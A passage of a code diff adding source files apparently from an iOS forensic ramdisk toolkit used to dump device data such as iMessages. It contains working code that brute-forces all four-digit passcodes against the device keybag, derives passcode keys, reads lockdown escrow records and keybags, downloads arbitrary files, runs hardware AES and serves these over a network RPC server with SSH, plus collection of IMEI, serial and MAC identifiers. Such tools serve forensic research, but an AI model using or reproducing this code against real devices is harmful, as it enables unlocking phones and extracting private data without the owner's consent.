|
||||
}
|
||||
IOObjectRelease(iterator2);
|
||||
}
|
||||
IOObjectRelease(next);
|
||||
if (*context != NULL)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
CFStringRef lookup_mac_address(const char* serviceName)
|
||||
{
|
||||
unsigned char macaddrBytes[6];
|
||||
CFStringRef res = NULL;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching(serviceName));
|
||||
|
||||
if(service)
|
||||
{
|
||||
CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR("local-mac-address"), kCFAllocatorDefault, 0);
|
||||
if(macData != NULL)
|
||||
{
|
||||
CFDataGetBytes(macData, CFRangeMake(0,6), macaddrBytes);
|
||||
|
||||
res = CFStringCreateWithFormat(kCFAllocatorDefault,
|
||||
NULL,
|
||||
CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"),
|
||||
macaddrBytes[0],
|
||||
macaddrBytes[1],
|
||||
macaddrBytes[2],
|
||||
macaddrBytes[3],
|
||||
macaddrBytes[4],
|
||||
macaddrBytes[5]);
|
||||
CFRelease(macData);
|
||||
}
|
||||
IOObjectRelease(service);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
CFStringRef copy_wifi_mac_address() {
|
||||
CFStringRef wifimac = NULL;
|
||||
IONotificationPortRef notify_port = 0;
|
||||
io_iterator_t iterator = 0;
|
||||
|
||||
wifimac = lookup_mac_address("sdio");
|
||||
if (wifimac != NULL)
|
||||
return wifimac;
|
||||
|
||||
wifimac = lookup_mac_address("wlan");
|
||||
if (wifimac != NULL)
|
||||
return wifimac;
|
||||
|
||||
notify_port = IONotificationPortCreate(kIOMasterPortDefault);
|
||||
|
||||
CFRunLoopSourceRef runLoopSource = IONotificationPortGetRunLoopSource(notify_port);
|
||||
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode);
|
||||
|
||||
if (!IOServiceAddMatchingNotification( notify_port,
|
||||
kIOMatchedNotification,
|
||||
IOServiceMatching("IONetworkController"),
|
||||
(IOServiceMatchingCallback) search_wifi_mac_callback,
|
||||
&wifimac,
|
||||
&iterator
|
||||
))
|
||||
{
|
||||
search_wifi_mac_callback((void**)&wifimac, iterator);
|
||||
while( wifimac == NULL)
|
||||
{
|
||||
if( CFRunLoopRunInMode(kCFRunLoopDefaultMode,0, TRUE) != kCFRunLoopRunHandledSource)
|
||||
{
|
||||
printf("giving up on wifi mac address\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
IONotificationPortDestroy(notify_port);
|
||||
return wifimac;
|
||||
}
|
||||
|
||||
int useNewUDID(CFStringRef hw)
|
||||
{
|
||||
return CFEqual(hw, CFSTR("K93AP")) ||
|
||||
CFEqual(hw, CFSTR("K94AP")) ||
|
||||
CFEqual(hw, CFSTR("K95AP")) ||
|
||||
CFEqual(hw, CFSTR("N92AP")) ||
|
||||
CFEqual(hw, CFSTR("N94AP"));
|
||||
}
|
||||
|
||||
//http://iphonedevwiki.net/index.php/Lockdownd
|
||||
void get_device_infos(CFMutableDictionaryRef out) {
|
||||
CC_SHA1_CTX sha1ctx;
|
||||
uint8_t udid[20];
|
||||
char udid1[100];
|
||||
CFStringRef serial;
|
||||
CFStringRef imei;
|
||||
CFStringRef macwifi;
|
||||
CFStringRef macbt;
|
||||
|
||||
CFStringRef hw = copy_hardware_model();
|
||||
if (hw != NULL)
|
||||
{
|
||||
CFDictionaryAddValue(out, CFSTR("hwModel"), hw);
|
||||
CFRelease(hw);
|
||||
}
|
||||
|
||||
serial = copy_device_serial_number();
|
||||
imei = copy_device_imei();
|
||||
macwifi = copy_wifi_mac_address();
|
||||
macbt = copy_bluetooth_mac_address();
|
||||
|
||||
CFMutableStringRef udidInput = CFStringCreateMutable(kCFAllocatorDefault, 0);
|
||||
if (serial != NULL)
|
||||
{
|
||||
CFStringAppend(udidInput, serial);
|
||||
CFDictionaryAddValue(out, CFSTR("serialNumber"), serial);
|
||||
CFRelease(serial);
|
||||
}
|
||||
|
||||
uint64_t _ecid = 0;
|
||||
CFNumberRef ecid = copyNumberFromChosen(CFSTR("unique-chip-id"));
|
||||
if (ecid != NULL)
|
||||
{
|
||||
CFDictionaryAddValue(out, CFSTR("ECID"), ecid);
|
||||
}
|
||||
|
||||
if (ecid != NULL && useNewUDID(hw))
|
||||
{
|
||||
CFNumberGetValue(ecid, kCFNumberSInt64Type, &_ecid);
|
||||
CFStringAppendFormat(udidInput, NULL, CFSTR("%llu"), _ecid);
|
||||
}
|
||||
else if (imei != NULL)
|
||||
{
|
||||
CFStringAppend(udidInput, imei);
|
||||
CFDictionaryAddValue(out, CFSTR("imei"), imei);
|
||||
CFRelease(imei);
|
||||
}
|
||||
if (macwifi != NULL)
|
||||
{
|
||||
CFStringAppend(udidInput, macwifi);
|
||||
CFDictionaryAddValue(out, CFSTR("wifiMac"), macwifi);
|
||||
CFRelease(macwifi);
|
||||
}
|
||||
if (macbt != NULL)
|
||||
{
|
||||
CFStringAppend(udidInput, macbt);
|
||||
CFDictionaryAddValue(out, CFSTR("btMac"), macbt);
|
||||
CFRelease(macbt);
|
||||
}
|
||||
|
||||
CFStringGetCString(udidInput, udid1, 99, kCFStringEncodingASCII);
|
||||
|
||||
CC_SHA1_Init(&sha1ctx);
|
||||
CC_SHA1_Update(&sha1ctx, udid1, CFStringGetLength(udidInput));
|
||||
CC_SHA1_Final(udid, &sha1ctx);
|
||||
|
||||
CFRelease(udidInput);
|
||||
addHexaString(out, CFSTR("udid"), udid, 20);
|
||||
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void get_device_infos(CFMutableDictionaryRef out);
|
||||
@@ -0,0 +1,282 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "AppleKeyStore.h"
|
||||
#include "IOKit.h"
|
||||
#include "IOAESAccelerator.h"
|
||||
#include "registry.h"
|
||||
#include "util.h"
|
||||
#include "plist_server.h"
|
||||
#include "remote_functions.h"
|
||||
|
||||
int bruteforceProgressCallback(void* ctx, int p)
|
||||
{
|
||||
return send_progress_message((int) ctx, p, 10000);
|
||||
}
|
||||
|
||||
char* bruteforceWithAppleKeyStore(CFDataRef kbkeys, int (*callback)(void*,int), void* ctx)
|
||||
{
|
||||
uint64_t keybag_id = 0;
|
||||
int i;
|
||||
|
||||
char* passcode = (char*) malloc(5);
|
||||
memset(passcode, 0, 5);
|
||||
|
||||
AppleKeyStoreKeyBagInit();
|
||||
AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id);
|
||||
//printf("keybag id=%x\n", (uint32_t) keybag_id);
|
||||
AppleKeyStoreKeyBagSetSystem(keybag_id);
|
||||
|
||||
CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL);
|
||||
|
||||
io_connect_t conn = IOKit_getConnect("AppleKeyStore");
|
||||
|
||||
if (!AppleKeyStoreUnlockDevice(conn, data))
|
||||
{
|
||||
return passcode;
|
||||
}
|
||||
|
||||
for(i=0; i < 10000; i++)
|
||||
{
|
||||
sprintf(passcode, "%04d", i);
|
||||
if (callback != NULL && !(i % 10))
|
||||
{
|
||||
if (callback(ctx, i) == -1)
|
||||
{
|
||||
printf("Bruteforce abort\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!AppleKeyStoreUnlockDevice(conn, data))
|
||||
{
|
||||
return passcode;
|
||||
}
|
||||
}
|
||||
free(passcode);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag");
|
||||
|
||||
if (kbdict == NULL)
|
||||
{
|
||||
mountDataPartition("/mnt2");
|
||||
|
||||
kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag");
|
||||
if (kbdict == NULL)
|
||||
{
|
||||
printf("FAILed to load keybag\n");
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
return kbdict;
|
||||
}
|
||||
|
||||
CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
uint8_t passcodeKey[32];
|
||||
|
||||
CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys"));
|
||||
if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID())
|
||||
return NULL;
|
||||
|
||||
char* passcode = bruteforceWithAppleKeyStore(kbkeys, bruteforceProgressCallback, (void*) socket);
|
||||
|
||||
if (passcode == NULL)
|
||||
return NULL;
|
||||
|
||||
KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
|
||||
if (kb == NULL)
|
||||
{
|
||||
printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n");
|
||||
return NULL;
|
||||
}
|
||||
AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey);
|
||||
|
||||
free(kb);
|
||||
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII);
|
||||
CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
|
||||
CFRelease(cfpasscode);
|
||||
|
||||
addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
|
||||
return out;
|
||||
}
|
||||
|
||||
CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
uint8_t passcodeKey[32];
|
||||
CFDataRef passcode_cfdata = NULL;
|
||||
|
||||
CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys"));
|
||||
if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID())
|
||||
return NULL;
|
||||
|
||||
KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
|
||||
if (kb == NULL)
|
||||
return NULL;
|
||||
|
||||
CFTypeRef cfpasscode = CFDictionaryGetValue(dict, CFSTR("passcode"));
|
||||
|
||||
if(cfpasscode == NULL)
|
||||
return NULL;
|
||||
if(CFGetTypeID(cfpasscode) == CFDataGetTypeID())
|
||||
{
|
||||
passcode_cfdata = cfpasscode;
|
||||
}
|
||||
else if(CFGetTypeID(cfpasscode) == CFStringGetTypeID())
|
||||
{
|
||||
passcode_cfdata = CFStringCreateExternalRepresentation(kCFAllocatorDefault, cfpasscode, kCFStringEncodingUTF8, 0);
|
||||
}
|
||||
else
|
||||
return NULL;
|
||||
|
||||
AppleKeyStore_getPasscodeKey(kb,
|
||||
CFDataGetBytePtr(passcode_cfdata),
|
||||
CFDataGetLength(passcode_cfdata),
|
||||
passcodeKey);
|
||||
free(kb);
|
||||
|
||||
if (passcode_cfdata != cfpasscode)
|
||||
CFRelease(passcode_cfdata);
|
||||
|
||||
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
|
||||
addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
|
||||
return out;
|
||||
}
|
||||
|
||||
CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
CFStringRef hostid = CFDictionaryGetValue(dict, CFSTR("HostID"));
|
||||
if(hostid == NULL || CFGetTypeID(hostid) != CFStringGetTypeID())
|
||||
return NULL;
|
||||
|
||||
//TODO: check return values...
|
||||
CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/mnt2/root/Library/Lockdown/escrow_records/%@.plist"), hostid);
|
||||
//CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/private/var/root/Library/Lockdown/escrow_records/%@.plist"), hostid);
|
||||
|
||||
CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE);
|
||||
CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL);
|
||||
CFReadStreamOpen(stream);
|
||||
CFPropertyListRef plist = CFPropertyListCreateWithStream(kCFAllocatorDefault,
|
||||
stream, 0, kCFPropertyListImmutable, NULL, NULL);
|
||||
|
||||
CFRelease(fileURL);
|
||||
CFRelease(stream);
|
||||
CFRelease(path);
|
||||
return plist;
|
||||
}
|
||||
|
||||
CFDictionaryRef download_file(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
UInt8 buffer[8192];
|
||||
CFIndex bytesRead;
|
||||
|
||||
CFStringRef path = CFDictionaryGetValue(dict, CFSTR("Path"));
|
||||
if(path == NULL || CFGetTypeID(path) != CFStringGetTypeID())
|
||||
return NULL;
|
||||
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE);
|
||||
CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL);
|
||||
CFRelease(fileURL);
|
||||
if(!CFReadStreamOpen(stream))
|
||||
{
|
||||
CFErrorRef error = CFReadStreamCopyError(stream);
|
||||
if (error != NULL)
|
||||
{
|
||||
CFStringRef errorDesc = CFErrorCopyDescription(error);
|
||||
CFDictionaryAddValue(out, CFSTR("Error"), errorDesc);
|
||||
CFRelease(errorDesc);
|
||||
CFRelease(error);
|
||||
}
|
||||
CFRelease(stream);
|
||||
return out;
|
||||
}
|
||||
CFMutableDataRef data = CFDataCreateMutable(kCFAllocatorDefault, 0);
|
||||
|
||||
while(CFReadStreamHasBytesAvailable(stream))
|
||||
{
|
||||
if((bytesRead = CFReadStreamRead(stream, buffer, 8192)) <= 0)
|
||||
break;
|
||||
CFDataAppendBytes(data, buffer, bytesRead);
|
||||
}
|
||||
CFReadStreamClose(stream);
|
||||
CFRelease(stream);
|
||||
|
||||
CFDictionaryAddValue(out, CFSTR("Data"), data);
|
||||
CFRelease(data);
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
CFDictionaryRef remote_aes(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
uint8_t* input2 = NULL;
|
||||
uint32_t len = 0;
|
||||
uint8_t* iv2 = NULL;
|
||||
uint32_t keyMask = 0;
|
||||
uint32_t mode = 0;
|
||||
uint32_t bits = 0;
|
||||
|
||||
CFNumberRef km = CFDictionaryGetValue(dict, CFSTR("keyMask"));
|
||||
if(km == NULL || CFGetTypeID(km) != CFNumberGetTypeID())
|
||||
return NULL;
|
||||
CFNumberGetValue(km, kCFNumberIntType, &keyMask);
|
||||
|
||||
CFNumberRef m = CFDictionaryGetValue(dict, CFSTR("mode"));
|
||||
if(m == NULL || CFGetTypeID(m) != CFNumberGetTypeID())
|
||||
return NULL;
|
||||
CFNumberGetValue(m, kCFNumberIntType, &mode);
|
||||
|
||||
CFNumberRef b = CFDictionaryGetValue(dict, CFSTR("bits"));
|
||||
if(b == NULL || CFGetTypeID(b) != CFNumberGetTypeID())
|
||||
return NULL;
|
||||
CFNumberGetValue(b, kCFNumberIntType, &bits);
|
||||
|
||||
CFDataRef input = CFDictionaryGetValue(dict, CFSTR("input"));
|
||||
if(input == NULL || CFGetTypeID(input) != CFDataGetTypeID())
|
||||
return NULL;
|
||||
|
||||
CFDataRef iv = CFDictionaryGetValue(dict, CFSTR("iv"));
|
||||
if(iv != NULL)
|
||||
{
|
||||
if (CFGetTypeID(iv) != CFDataGetTypeID())
|
||||
return NULL;
|
||||
iv2 = CFDataGetBytePtr(iv);
|
||||
}
|
||||
len = CFDataGetLength(input);
|
||||
if (len % 16 != 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
input2 = malloc(len);
|
||||
if (input2 == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(input2, CFDataGetBytePtr(input), len);
|
||||
|
||||
uint32_t ret = doAES(input2, input2, len, keyMask, NULL, iv2, mode, bits);
|
||||
|
||||
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
CFNumberRef retCode = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &ret);
|
||||
CFDictionaryAddValue(out, CFSTR("returnCode"), retCode);
|
||||
CFRelease(retCode);
|
||||
|
||||
if (ret == 0)
|
||||
{
|
||||
CFDataRef dd = CFDataCreate(kCFAllocatorDefault, input2, len);
|
||||
CFDictionaryAddValue(out, CFSTR("data"), dd);
|
||||
CFRelease(dd);
|
||||
}
|
||||
free(input2);
|
||||
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
|
||||
CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict);
|
||||
CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict);
|
||||
CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict);
|
||||
CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict);
|
||||
CFDictionaryRef download_file(int socket, CFDictionaryRef dict);
|
||||
CFDictionaryRef remote_aes(int socket, CFDictionaryRef dict);
|
||||
@@ -0,0 +1,269 @@
|
||||
/**
|
||||
https://github.com/comex/bloggy/wiki/Redsn0w%2Busbmux
|
||||
**/
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <spawn.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/sockio.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <net/if.h>
|
||||
#include <assert.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <AvailabilityMacros.h>
|
||||
#define MAC_OS_X_VERSION_MIN_REQUIRED MAC_OS_X_VERSION_10_5
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include "IOUSBDeviceControllerLib.h"
|
||||
#include "plist_server.h"
|
||||
#include "remote_functions.h"
|
||||
#include "device_info.h"
|
||||
#include "registry.h"
|
||||
|
||||
#define kIOSomethingPluginID CFUUIDGetConstantUUIDWithBytes(NULL, \
|
||||
0x9E, 0x72, 0x21, 0x7E, 0x8A, 0x60, 0x11, 0xDB, \
|
||||
0xBF, 0x57, 0x00, 0x0D, 0x93, 0x6D, 0x06, 0xD2)
|
||||
#define kIOWhatTheFuckID CFUUIDGetConstantUUIDWithBytes(NULL, \
|
||||
0xEA, 0x33, 0xBA, 0x4F, 0x8A, 0x60, 0x11, 0xDB, \
|
||||
0x84, 0xDB, 0x00, 0x0D, 0x93, 0x6D, 0x06, 0xD2)
|
||||
|
||||
void init_usb(CFStringRef serialString) {
|
||||
IOUSBDeviceDescriptionRef desc = IOUSBDeviceDescriptionCreateFromDefaults(kCFAllocatorDefault);
|
||||
IOUSBDeviceDescriptionSetSerialString(desc, serialString == NULL ? CFSTR("ramdisk - udid fail?") : serialString);
|
||||
|
||||
CFArrayRef usb_interfaces = IOUSBDeviceDescriptionCopyInterfaces(desc);
|
||||
int i;
|
||||
for(i=0; i < CFArrayGetCount(usb_interfaces); i++)
|
||||
{
|
||||
CFArrayRef arr1 = CFArrayGetValueAtIndex(usb_interfaces, i);
|
||||
|
||||
if( CFArrayContainsValue(arr1, CFRangeMake(0,CFArrayGetCount(arr1)), CFSTR("PTP")))
|
||||
{
|
||||
printf("Found PTP interface\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
IOUSBDeviceControllerRef controller;
|
||||
while (IOUSBDeviceControllerCreate(kCFAllocatorDefault, &controller))
|
||||
{
|
||||
printf("Unable to get USB device controller\n");
|
||||
sleep(3);
|
||||
}
|
||||
IOUSBDeviceControllerSetDescription(controller, desc);
|
||||
|
||||
CFMutableDictionaryRef match = IOServiceMatching("IOUSBDeviceInterface");
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFDictionarySetValue(dict, CFSTR("USBDeviceFunction"), CFSTR("PTP"));
|
||||
CFDictionarySetValue(match, CFSTR("IOPropertyMatch"), dict);
|
||||
io_service_t service;
|
||||
while(1) {
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, match);
|
||||
if(!service) {
|
||||
printf("Didn't find, trying again\n");
|
||||
sleep(1);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
IOCFPlugInInterface **iface;
|
||||
SInt32 score;
|
||||
printf("123\n");
|
||||
assert(!IOCreatePlugInInterfaceForService(
|
||||
service,
|
||||
kIOSomethingPluginID,
|
||||
kIOCFPlugInInterfaceID,
|
||||
&iface,
|
||||
&score
|
||||
));
|
||||
void *thing;
|
||||
|
||||
assert(!((*iface)->QueryInterface)(iface,
|
||||
CFUUIDGetUUIDBytes(kIOWhatTheFuckID),
|
||||
&thing));
|
||||
|
||||
IOReturn (**table)(void *, ...) = *((void **) thing);
|
||||
printf("%p\n", table[0x10/4]);
|
||||
|
||||
//open IOUSBDeviceInterfaceInterface
|
||||
(!table[0x10/4](thing, 0));
|
||||
//set IOUSBDeviceInterfaceInterface class
|
||||
(!table[0x2c/4](thing, 0xff, 0));
|
||||
//set IOUSBDeviceInterfaceInterface sub-class
|
||||
(!table[0x30/4](thing, 0x50, 0));
|
||||
//set IOUSBDeviceInterfaceInterface protocol
|
||||
(!table[0x34/4](thing, 0x43, 0));
|
||||
//commit IOUSBDeviceInterfaceInterface configuration
|
||||
(!table[0x44/4](thing, 0));
|
||||
IODestroyPlugInInterface(iface);
|
||||
//assert(!table[0x14/4](thing, 0));
|
||||
}
|
||||
|
||||
void init_tcp() {
|
||||
// from launchd
|
||||
struct ifaliasreq ifra;
|
||||
struct ifreq ifr;
|
||||
int s;
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strcpy(ifr.ifr_name, "lo0");
|
||||
|
||||
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
|
||||
return;
|
||||
|
||||
if (ioctl(s, SIOCGIFFLAGS, &ifr) != -1) {
|
||||
ifr.ifr_flags |= IFF_UP;
|
||||
assert(ioctl(s, SIOCSIFFLAGS, &ifr) != -1);
|
||||
}
|
||||
|
||||
memset(&ifra, 0, sizeof(ifra));
|
||||
strcpy(ifra.ifra_name, "lo0");
|
||||
((struct sockaddr_in *)&ifra.ifra_addr)->sin_family = AF_INET;
|
||||
((struct sockaddr_in *)&ifra.ifra_addr)->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
((struct sockaddr_in *)&ifra.ifra_addr)->sin_len = sizeof(struct sockaddr_in);
|
||||
((struct sockaddr_in *)&ifra.ifra_mask)->sin_family = AF_INET;
|
||||
((struct sockaddr_in *)&ifra.ifra_mask)->sin_addr.s_addr = htonl(IN_CLASSA_NET);
|
||||
((struct sockaddr_in *)&ifra.ifra_mask)->sin_len = sizeof(struct sockaddr_in);
|
||||
|
||||
assert(ioctl(s, SIOCAIFADDR, &ifra) != -1);
|
||||
|
||||
assert(close(s) == 0);
|
||||
|
||||
}
|
||||
|
||||
CFDictionaryRef reboot__(int socket, CFDictionaryRef dict)
|
||||
{
|
||||
reboot(0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
char* execve_env[]= {NULL};
|
||||
char* execve_params[]={"/sbin/sshd", NULL};
|
||||
char* ioflash[]={"/var/root/ioflashstoragekit", NULL};
|
||||
|
||||
size_t bootargs_len = 255;
|
||||
char bootargs[256]={0};
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
int i;
|
||||
int nandReadOnly=0;
|
||||
struct stat st;
|
||||
|
||||
printf("Starting ramdisk tool\n");
|
||||
printf("Compiled " __DATE__ " " __TIME__ "\n");
|
||||
printf("Revision " HGVERSION "\n");
|
||||
|
||||
CFMutableDictionaryRef matching;
|
||||
io_service_t service = 0;
|
||||
matching = IOServiceMatching("IOWatchDogTimer");
|
||||
if (matching == NULL) {
|
||||
printf("unable to create matching dictionary for class IOWatchDogTimer\n");
|
||||
}
|
||||
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
if (service == 0) {
|
||||
printf("unable to create matching dictionary for class IOWatchDogTimer\n");
|
||||
}
|
||||
uint32_t zero = 0;
|
||||
CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &zero);
|
||||
IORegistryEntrySetCFProperties(service, n);
|
||||
IOObjectRelease(service);
|
||||
|
||||
CFMutableDictionaryRef deviceInfos = CFDictionaryCreateMutable(kCFAllocatorDefault,
|
||||
0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
get_device_infos(deviceInfos);
|
||||
init_tcp();
|
||||
|
||||
sysctlbyname("kern.bootargs", bootargs, &bootargs_len, NULL, 0);
|
||||
|
||||
if (strstr(bootargs, "nand-readonly") || strstr(bootargs, "nand-disable"))
|
||||
{
|
||||
printf("NAND read only mode, data partition wont be mounted\n");
|
||||
nandReadOnly = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Waiting for data partition\n");
|
||||
for(i=0; i < 10; i++)
|
||||
{
|
||||
if(!stat("/dev/disk0s2s1", &st))
|
||||
{
|
||||
system("/sbin/fsck_hfs /dev/disk0s2s1");
|
||||
break;
|
||||
}
|
||||
if(!stat("/dev/disk0s1s2", &st))
|
||||
{
|
||||
system("/sbin/fsck_hfs /dev/disk0s1s2");
|
||||
break;
|
||||
}
|
||||
if(!stat("/dev/disk0s2", &st))
|
||||
{
|
||||
system("/sbin/fsck_hfs /dev/disk0s2");
|
||||
break;
|
||||
}
|
||||
sleep(5);
|
||||
}
|
||||
}
|
||||
init_usb(CFDictionaryGetValue(deviceInfos, CFSTR("udid")));
|
||||
printf("USB init done\n");
|
||||
|
||||
system("mount /"); //make ramdisk writable
|
||||
|
||||
chmod("/var/root/.ssh/authorized_keys", 0600);
|
||||
chown("/var/root/.ssh/authorized_keys", 0, 0);
|
||||
chown("/var/root/.ssh", 0, 0);
|
||||
chown("/var/root/", 0, 0);
|
||||
|
||||
printf(" ####### ## ##\n");
|
||||
printf("## ## ## ## \n");
|
||||
printf("## ## ## ## \n");
|
||||
printf("## ## ##### \n");
|
||||
printf("## ## ## ## \n");
|
||||
printf("## ## ## ## \n");
|
||||
printf(" ####### ## ##\n");
|
||||
printf("iphone-dataprotection ramdisk\n");
|
||||
printf("revision: " HGVERSION " " __DATE__ " " __TIME__ "\n");
|
||||
|
||||
if(!stat(execve_params[0], &st))
|
||||
{
|
||||
printf("Running %s\n", execve_params[0]);
|
||||
if((i = posix_spawn(NULL, execve_params[0], NULL, NULL, execve_params, execve_env)))
|
||||
printf("posix_spawn(%s) returned %d\n", execve_params[0], i);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("%s is missing\n", execve_params[0]);
|
||||
}
|
||||
|
||||
/*if (nandReadOnly)
|
||||
{*/
|
||||
if(!stat(ioflash[0], &st))
|
||||
{
|
||||
printf("Running %s\n", ioflash[0]);
|
||||
if((i = posix_spawn(NULL, ioflash[0], NULL, NULL, ioflash, execve_env)))
|
||||
printf("posix_spawn(%s) returned %d\n", execve_params[0], i);
|
||||
}
|
||||
/*}*/
|
||||
|
||||
CFMutableDictionaryRef handlers = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, NULL);
|
||||
CFDictionaryAddValue(handlers, CFSTR("DeviceInfo"), device_info);
|
||||
CFDictionaryAddValue(handlers, CFSTR("GetSystemKeyBag"), load_system_keybag);
|
||||
CFDictionaryAddValue(handlers, CFSTR("BruteforceSystemKeyBag"), bruteforce_system_keybag);
|
||||
CFDictionaryAddValue(handlers, CFSTR("KeyBagGetPasscodeKey"), keybag_get_passcode_key);
|
||||
CFDictionaryAddValue(handlers, CFSTR("GetEscrowRecord"), get_escrow_record);
|
||||
CFDictionaryAddValue(handlers, CFSTR("DownloadFile"), download_file);
|
||||
CFDictionaryAddValue(handlers, CFSTR("AES"), remote_aes);
|
||||
CFDictionaryAddValue(handlers, CFSTR("Reboot"), reboot__);
|
||||
|
||||
serve_plist_rpc(1999, handlers);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/bin/sh
|
||||
|
||||
if [ -a /dev/disk0s1s2 ]; then # test for iOS 5 data partition
|
||||
mount_hfs /dev/disk0s1s1 /mnt1 2>/dev/null
|
||||
mount_hfs /dev/disk0s1s2 /mnt2 2>/dev/null
|
||||
elif [ -a /dev/disk0s2s1 ]; then # test for iOS 4 data partition
|
||||
mount_hfs /dev/disk0s1 /mnt1 2>/dev/null
|
||||
mount_hfs /dev/disk0s2s1 /mnt2 2>/dev/null
|
||||
elif [ -a /dev/disk0s2 ]; then
|
||||
mount_hfs /dev/disk0s1 /mnt1 2>/dev/null
|
||||
mount_hfs /dev/disk0s2 /mnt2 2>/dev/null
|
||||
else
|
||||
echo "Error mounting partitions. Please try it manually"
|
||||
fi
|
||||
176
dump-imessages/iphone-dataprotection/ramdisk_tools/shsh_dump.c
Normal file
176
